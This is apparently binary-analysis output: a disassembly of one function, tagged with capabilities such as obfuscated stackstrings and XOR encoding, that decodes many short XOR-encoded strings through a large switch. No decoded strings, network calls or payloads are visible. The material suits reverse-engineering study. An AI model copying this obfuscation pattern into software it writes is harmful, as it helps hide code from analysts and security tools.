Function at 0x10030d60
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
push ebx
push esi
movzx eax, dx
mov esi, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], 0
cmp eax, 0x5e
ja case.0x10030d8c.3
movzx eax, byte [eax + 0x10031adc]
jmp dword [eax*4 + 0x100319f0]
mov cl, 0x37
mov byte [esp + 0x18], 0x5b
mov al, 0x1a
mov byte [esp + 0xe], 0x28
mov dl, cl
mov bl, 0x7b
mov ah, 1
mov ch, 0x34
mov dh, 0x35
mov bh, 0x3e
xor al, byte [esp + 0x18]
mov byte [esp + 0x19], al
mov al, byte [esp + 0x18]
xor cl, al
mov byte [esp + 0x22], 0
xor dl, al
mov byte [esp + 0x22], 0
xor bl, al
xor ah, al
xor ch, al
xor dh, al
xor bh, al
mov al, byte [esp + 0xe]
xor al, byte [esp + 0x18]
mov byte [esp + 0x21], al
mov byte [esp + 0x20], bh
mov byte [esp + 0x1f], dh
mov byte [esp + 0x1e], ch
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1d], ah
mov ecx, esi
lea eax, [esp + 0x19]
mov byte [esp + 0x1b], dl
push eax
mov byte [esp + 0x20], bl
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af3e0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030e20
lea eax, [esp + 0x19]
mov byte [esp + 0x28], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100afa40]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
nop word [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030e60
jmp 0x10030e2e
movaps xmm0, xmmword [0x100af170]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030e83
jmp 0x10030e2e
movaps xmm0, xmmword [0x100af940]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030ea6
jmp 0x10030e2e
movaps xmm0, xmmword [0x100af6e0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
nop dword [eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030ed0
jmp 0x10030e2e
movaps xmm0, xmmword [0x100af4e0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10030ef6
jmp 0x10030e2e
mov dh, 0x75
mov al, 0x30
mov cl, 6
mov dl, 0x19
mov bl, 0x14
mov ah, 0x1b
mov ch, 1
xor al, dh
mov byte [esp + 0x1f], 0
xor ah, dh
mov byte [esp + 0x19], al
xor cl, dh
mov byte [esp + 0x1d], ah
xor ch, dh
mov byte [esp + 0x1a], cl
lea eax, [esp + 0x19]
mov byte [esp + 0x1e], ch
xor dl, dh
mov byte [esp + 0x18], dh
xor bl, dh
mov byte [esp + 0x1b], dl
push eax
mov ecx, esi
mov byte [esp + 0x20], bl
mov byte [esp + 0x23], 0
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dh, 0x2d
mov al, 0x68
mov cl, 0x5e
mov dl, 0x41
mov bl, 0x4c
mov ah, 0x43
mov ch, 0x59
jmp 0x10030f17
mov dh, 0x38
mov al, 0x7d
mov cl, 0x4b
mov dl, 0x54
mov bl, 0x59
mov ah, 0x56
mov ch, 0x4c
jmp 0x10030f17
mov dh, 0x30
mov al, 0x75
mov cl, 0x43
mov dl, 0x5c
mov bl, 0x51
mov ah, 0x5e
mov ch, 0x44
jmp 0x10030f17
mov dh, 7
mov al, 0x42
mov cl, 0x74
mov dl, 0x6b
mov bl, 0x66
mov ah, 0x69
mov ch, 0x73
jmp 0x10030f17
mov dh, 0x16
mov al, 0x53
mov cl, 0x65
mov dl, 0x7a
mov bl, 0x77
mov ah, 0x78
mov ch, 0x62
jmp 0x10030f17
mov byte [esp + 0x18], 0x64
mov al, 0x2b
mov cl, 8
mov byte [esp + 0xe], 0x17
xor dl, dl
mov bl, 0x44
mov ah, 0x2f
mov ch, 5
mov dh, 0x16
mov bh, 0x11
jmp 0x10030dad
mov bh, 0x22
mov al, 0x6f
mov cl, 0x4d
mov dl, 0x50
mov bl, 0x43
mov ah, 0x46
mov dh, 0x4c
mov ch, cl
xor al, bh
mov byte [esp + 0x20], 0
xor cl, bh
mov byte [esp + 0x18], bh
xor dl, bh
mov byte [esp + 0x19], al
xor bl, bh
mov byte [esp + 0x20], 0
xor ah, bh
xor ch, bh
xor dh, bh
jmp 0x10030de1
mov bh, 0x2e
mov al, 0x63
mov cl, 0x41
mov dl, 0x5c
mov bl, 0x4f
mov ah, 0x4a
mov dh, 0x40
jmp 0x10030fe0
mov bh, 0x70
mov al, 0x3d
mov cl, 0x1f
mov dl, 2
mov bl, 0x11
mov ah, 0x14
mov dh, 0x1e
jmp 0x10030fe0
mov bh, 2
mov al, 0x4f
mov cl, 0x6d
mov dl, 0x70
mov bl, 0x63
mov ah, 0x66
mov dh, 0x6c
jmp 0x10030fe0
mov bh, 0x1d
mov al, 0x50
mov cl, 0x72
mov dl, 0x6f
mov bl, 0x7c
mov ah, 0x79
mov dh, 0x73
jmp 0x10030fe0
mov byte [esp + 0x18], 0x40
mov al, 0xf
mov cl, 0x2c
mov byte [esp + 0xe], 0x2e
mov dl, 0x24
mov bl, 0x60
mov ah, 8
mov ch, 0x35
mov dh, 0x2d
mov bh, 0x21
jmp 0x10030dad
mov cl, 0x5d
mov dword [esp + 0x18], 0x3931125d
mov dword [esp + 0x1c], 0x2f32107d
xor eax, eax
mov dword [esp + 0x20], 0x3332393c
mov byte [esp + 0x24], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xb
jae 0x10031097
mov cl, byte [esp + 0x18]
jmp 0x10031087
lea eax, [esp + 0x19]
mov byte [esp + 0x24], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ch, 0x3f
mov byte [esp + 0x1e], 0
mov al, 0x7b
mov byte [esp + 0x18], ch
mov cl, 0x5a
mov byte [esp + 0x1e], 0
mov dl, 0x53
mov bl, 0x50
xor al, ch
mov ah, 0x4c
xor cl, ch
mov byte [esp + 0x19], al
xor dl, ch
xor bl, ch
xor ah, ch
jmp 0x10030de9
mov bh, 0x30
mov al, 0x72
mov cl, 0x59
mov dl, 0x56
mov bl, 0x42
mov ah, 0x5f
mov ch, 0x43
mov dh, 0x44
jmp 0x10030fe2
movaps xmm0, xmmword [0x100af1b0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x606
mov byte [esp + 0x2a], 0
nop dword [eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x11
jb 0x10031110
lea eax, [esp + 0x19]
mov byte [esp + 0x2a], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [esp + 0x18], 0x50
mov al, 0x18
xor al, byte [esp + 0x18]
mov cl, 0x35
xor cl, byte [esp + 0x18]
mov dl, 0x3c
mov byte [esp + 0x19], al
mov bl, dl
mov byte [esp + 0xe], 0x23
mov ah, 0x70
mov al, byte [esp + 0xe]
mov ch, 0x11
mov byte [esp + 0x1a], cl
mov dh, 0x32
mov cl, byte [esp + 0x18]
mov bh, 0x29
xor al, cl
mov byte [esp + 0xf], 0x23
mov byte [esp + 0x21], al
xor ch, cl
mov al, byte [esp + 0xf]
xor dh, cl
xor bh, cl
mov byte [esp + 0x23], 0
xor dl, cl
mov byte [esp + 0x1e], ch
xor bl, cl
mov byte [esp + 0x1f], dh
xor ah, cl
mov byte [esp + 0x20], bh
xor al, cl
mov byte [esp + 0x23], 0
mov byte [esp + 0x22], al
jmp 0x10030ded
mov cl, 0x64
mov dword [esp + 0x18], 0x8012264
mov dword [esp + 0x1c], 0xb0f0a05
xor eax, eax
mov dword [esp + 0x20], 0x5284416
mov word [esp + 0x24], 0x160d
mov byte [esp + 0x26], 0
nop dword [eax]
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x100311d0
lea eax, [esp + 0x19]
mov byte [esp + 0x26], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100aee40]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xe
jb 0x10031207
lea eax, [esp + 0x19]
mov byte [esp + 0x27], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x1f
mov dword [esp + 0x18], 0x6b7e5d1f
mov dword [esp + 0x1c], 0x3f7a736b
xor eax, eax
mov dword [esp + 0x20], 0x717a6d5e
mov word [esp + 0x24], 0x7e
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xc
jae 0x10031261
mov cl, byte [esp + 0x18]
jmp 0x10031251
lea eax, [esp + 0x19]
mov byte [esp + 0x25], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af680]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0x3c3b2d
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x12
jb 0x10031290
lea eax, [esp + 0x19]
mov byte [esp + 0x2b], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af520]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
nop word [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x100312d0
lea eax, [esp + 0x19]
mov byte [esp + 0x28], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x1f
mov dword [esp + 0x18], 0x7d70581f
mov dword [esp + 0x1c], 0x3f717673
xor eax, eax
mov dword [esp + 0x20], 0x6c7a6a4e
mov word [esp + 0x24], 0x6b
nop word [eax + eax]
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xc
jae 0x10031261
mov cl, byte [esp + 0x18]
jmp 0x10031320
mov byte [esp + 0x18], 0x77
mov al, 0x34
xor al, byte [esp + 0x18]
mov cl, 0x16
xor cl, byte [esp + 0x18]
mov bl, 0x12
mov byte [esp + 0x19], al
mov bh, bl
mov byte [esp + 0xf], 4
mov dl, 7
mov al, byte [esp + 0xf]
mov ah, 0x57
mov byte [esp + 0x1a], cl
mov ch, 0x26
mov cl, byte [esp + 0x18]
mov dh, 2
xor al, cl
mov byte [esp + 0xe], 3
mov byte [esp + 0x21], al
xor ch, cl
mov al, byte [esp + 0xe]
xor dh, cl
xor bh, cl
mov byte [esp + 0x23], 0
xor dl, cl
mov byte [esp + 0x1e], ch
xor bl, cl
mov byte [esp + 0x1f], dh
xor ah, cl
mov byte [esp + 0x20], bh
xor al, cl
mov byte [esp + 0x23], 0
mov byte [esp + 0x22], al
jmp 0x10030ded
movaps xmm0, xmmword [0x100afd50]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x72
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x100313b7
lea eax, [esp + 0x19]
mov byte [esp + 0x29], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x7a
mov dword [esp + 0x18], 0xa1b347a
mov dword [esp + 0x1c], 0x5a091f13
xor eax, eax
mov dword [esp + 0x20], 0x1d08153d
mov word [esp + 0x24], 0x1f
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xc
jae 0x10031261
mov cl, byte [esp + 0x18]
jmp 0x10031401
movaps xmm0, xmmword [0x100afd10]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
nop dword [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10031430
lea eax, [esp + 0x19]
mov byte [esp + 0x28], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af0b0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xe
jb 0x10031465
lea eax, [esp + 0x19]
mov byte [esp + 0x27], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af0d0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xe
jb 0x100314a0
lea eax, [esp + 0x19]
mov byte [esp + 0x27], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x5c
mov dword [esp + 0x18], 0x2e33115c
mov dword [esp + 0x1c], 0x3233383d
xor eax, eax
mov dword [esp + 0x20], 0x2e3d0b7c
mov byte [esp + 0x24], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xb
jae 0x10031097
mov cl, byte [esp + 0x18]
jmp 0x100314e8
mov dh, 6
mov al, 0x49
mov cl, 0x74
mov dl, 0x63
mov bl, 0x67
mov ah, 0x62
mov ch, 0x75
xor al, dh
mov byte [esp + 0x1f], 0
xor cl, dh
mov byte [esp + 0x18], dh
xor dl, dh
mov byte [esp + 0x19], al
xor bl, dh
mov byte [esp + 0x1f], 0
xor ah, dh
xor ch, dh
jmp 0x10030de5
mov byte [esp + 0x18], 0x1b
mov al, 0x48
xor al, byte [esp + 0x18]
mov cl, 0x75
mov byte [esp + 0x19], al
mov dl, 0x74
mov al, byte [esp + 0x18]
mov bl, 0x6c
mov ah, 0x3b
mov byte [esp + 0x21], 0
mov ch, 0x4c
mov byte [esp + 0x21], 0
mov dh, 0x7a
mov bh, 0x69
xor cl, al
xor dl, al
xor bl, al
xor ah, al
xor ch, al
xor dh, al
xor bh, al
jmp 0x10030ddd
mov cl, 0x4f
mov dword [esp + 0x18], 0x23200c4f
mov dword [esp + 0x1c], 0x6f362120
xor eax, eax
mov dword [esp + 0x20], 0x2a212015
mov byte [esp + 0x24], 0
nop dword [eax]
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xb
jae 0x10031097
mov cl, byte [esp + 0x18]
jmp 0x10031590
mov cl, 0x68
mov bh, 0x1a
mov al, 0x5b
mov dl, 0x7e
mov bl, cl
mov ah, 0x7f
mov ch, 0x7b
mov dh, 0x77
jmp 0x10030fe2
movaps xmm0, xmmword [0x100afbc0]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x78
nop
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x100315d0
lea eax, [esp + 0x19]
mov byte [esp + 0x29], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x16
mov dword [esp + 0x18], 0x79645d16
mov dword [esp + 0x1c], 0x366c7761
xor eax, eax
mov dword [esp + 0x20], 0x7f7b7952
mov word [esp + 0x24], 0x7879
mov byte [esp + 0x26], 0
nop
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031620
mov cl, 0x13
mov dword [esp + 0x18], 0x7a7d5813
mov dword [esp + 0x1c], 0x33677b74
xor eax, eax
mov dword [esp + 0x20], 0x726a7c41
mov word [esp + 0x24], 0x767f
mov byte [esp + 0x26], 0
nop dword [eax]
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031660
movaps xmm0, xmmword [0x100afd20]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x76
nop dword [eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x10031690
lea eax, [esp + 0x19]
mov byte [esp + 0x29], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100afb80]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0x68674a26
mov word [esp + 0x2c], 0x62
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x14
jb 0x100316d4
lea eax, [esp + 0x19]
mov byte [esp + 0x2d], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x1c
mov dword [esp + 0x18], 0x7273511c
mov dword [esp + 0x1c], 0x6e79686f
xor eax, eax
mov dword [esp + 0x20], 0x73684f3c
mov word [esp + 0x24], 0x7972
mov byte [esp + 0x26], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031723
mov cl, 0x22
mov dword [esp + 0x18], 0x4c4d6f22
mov dword [esp + 0x1c], 0x50475651
xor eax, eax
mov dword [esp + 0x20], 0x4d567102
mov word [esp + 0x24], 0x474c
mov byte [esp + 0x26], 0
nop
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031760
mov cl, 0x5d
mov dword [esp + 0x18], 0x3332105d
mov dword [esp + 0x1c], 0x2f38292e
xor eax, eax
mov dword [esp + 0x20], 0x32290e7d
mov word [esp + 0x24], 0x3833
mov byte [esp + 0x26], 0
nop dword [eax]
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x100317a0
movaps xmm0, xmmword [str._QLZ_L]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0x4c5f69
nop word [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x12
jb 0x100317d0
lea eax, [esp + 0x19]
mov byte [esp + 0x2b], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100aef60]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xe
jb 0x10031805
lea eax, [esp + 0x19]
mov byte [esp + 0x27], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100afb10]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov word [esp + 0x28], 0x61
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0x10
jb 0x10031841
lea eax, [esp + 0x19]
mov byte [esp + 0x29], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100af180]
xor ecx, ecx
movups xmmword [esp + 0x18], xmm0
mov byte [esp + 0x28], 0
nop dword [eax + eax]
mov al, byte [esp + 0x18]
xor byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, 0xf
jb 0x10031880
lea eax, [esp + 0x19]
mov byte [esp + 0x28], 0
push eax
mov ecx, esi
call fcn.10004e00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov cl, 0x79
mov dword [esp + 0x18], 0x1d153679
mov dword [esp + 0x1c], 0xb163459
xor eax, eax
mov dword [esp + 0x20], 0x17161d18
mov byte [esp + 0x24], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xb
jae 0x10031097
mov cl, byte [esp + 0x18]
jmp 0x100318c8
mov dh, 0x59
mov al, 9
mov cl, 0x2b
mov dl, 0x30
mov bl, 0x2a
mov ah, 0x36
mov ch, 0x37
jmp 0x1003150a
mov cl, 0x43
mov dword [esp + 0x18], 0x2a300a43
mov dword [esp + 0x1c], 0x2c2a2f2f
xor eax, eax
mov dword [esp + 0x20], 0x220f632d
mov word [esp + 0x24], 0x312a
mov byte [esp + 0x26], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031917
mov cl, 7
mov dword [esp + 0x18], 0x6b624107
mov dword [esp + 0x1c], 0x686c6966
xor eax, eax
mov dword [esp + 0x20], 0x664b2775
mov word [esp + 0x24], 0x756e
mov byte [esp + 0x26], 0
xor byte [esp + eax + 0x19], cl
inc eax
cmp eax, 0xd
jae 0x100311e0
mov cl, byte [esp + 0x18]
jmp 0x10031953
mov bh, 0x10
mov byte [esp + 0x20], 0
mov cl, 0x7e
mov byte [esp + 0x18], bh
mov bl, cl
mov byte [esp + 0x20], 0
mov dh, bl
mov dword [esi + 0x14], 0xf
mov al, 0x45
mov dword [esi + 0x10], 0
mov dl, 0x7b
mov ah, 0x7f
mov ch, 0x67
xor al, bh
xor cl, bh
mov byte [esp + 0x19], al
xor dl, bh
mov byte [esp + 0x1a], cl
xor bl, bh
mov byte [esp + 0x1b], dl
xor ah, bh
mov byte [esp + 0x1c], bl
xor ch, bh
mov byte [esp + 0x1d], ah
xor dh, bh
mov byte [esp + 0x1e], ch
mov byte [esp + 0x1f], dh
mov byte [esi], 0
cmp byte [esp + 0x19], 0
jne 0x100319cb
xor ecx, ecx
jmp 0x100319db
lea ecx, [esp + 0x19]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100319d2
sub ecx, edx
push ecx
lea eax, [esp + 0x1d]
mov ecx, esi
push eax
call fcn.10004d00
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret